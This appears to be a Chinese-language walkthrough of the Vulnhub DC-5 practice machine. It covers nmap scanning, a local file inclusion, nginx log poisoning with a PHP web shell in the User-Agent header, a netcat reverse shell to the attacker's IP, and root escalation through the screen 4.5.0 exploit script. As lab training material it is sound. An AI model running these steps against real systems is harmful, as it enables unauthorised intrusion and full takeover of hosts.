Vulnhub-DC-5
环境配置
vulnhub 下载此靶机,下载地址如下:
1 | https://download.vulnhub.com/dc/DC-5.zip |
将靶机设置为 NAT 模式,开机即可,配置说明如下:
1 | 攻击机ip:192.168.52.128 |
信息收集
端口扫描
首先使用 Nmap 的 Ping 扫描快速发现活跃主机,发现靶机 ip 为 192.168.52.131
1 | nmap -sP 192.168.52.0/24 |
使用 Nmap 全面扫一下开放的端口和运行的服务
1 | nmap -sT -A -p1-65535 -T4 -O -sV 192.168.52.131 |
扫描结果如下:系统开放了一个 HTTP 服务(80 端口)、两个 RPC 服务(111 端口和 53882)
1 | PORT STATE SERVICE VERSION |
目录扫描
访问网站,随便点点发现一个类似于留言的功能,抓包也没发现有什么特殊的地方
扫一下目录看看有什么文件泄露或者是隐藏路由
发现一个 footer.php,像是那种常见的 php 包含文件,访问发现是一个版权和年份,每次刷新年份还会变化,猜测留言结束后的 thankyou.php 是包含了 footer.php 页面的
参数也是猜的,猜测 file 参数接收的 footer.php 页面,把 footer.php 替换成
/etc/passwd
成功读取
漏洞利用
日志包含
插件识别出中间件是 nginx,尝试包含 nginx 日志文件写马拿 shell
抓包修改包含的文件为 nginx 日志文件 /var/log/nginx/access.log
,在 UA 头写马,这样一句话木马就会被记录到日志文件里同时日志文件又被当作 php 解析,这样就可以执行一句话木马了
反弹shell
蚁剑成功连接,尝试反弹 shell,经尝试靶机有 nc,使用 nc 来反弹 shell
1 | nc -e /bin/bash 192.168.52.128 2233 |
连接成功没回显,用 python 起一个终端方便操作
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
权限提升
拿到的是网站用户权限 www-data,需要提权
还是先看一下 suid 提权,命令查看具有 suid 权限的文件
1 | find / -user root -perm -4000 -print 2>/dev/null |
发现一个可疑的文件 /bin/screen-4.5.0,搜索发现确实存在提权漏洞
使用 kali 找该版本的 screen 提权脚本
有一个 sh 脚本文件,把它复制到当前目录然后用 python 开一个 http 服务让靶机下载
1 | 攻击机开启http服务: |
靶机下载好后直接赋予执行权限,运行即可成功提权
1 | chmod 777 41154.sh |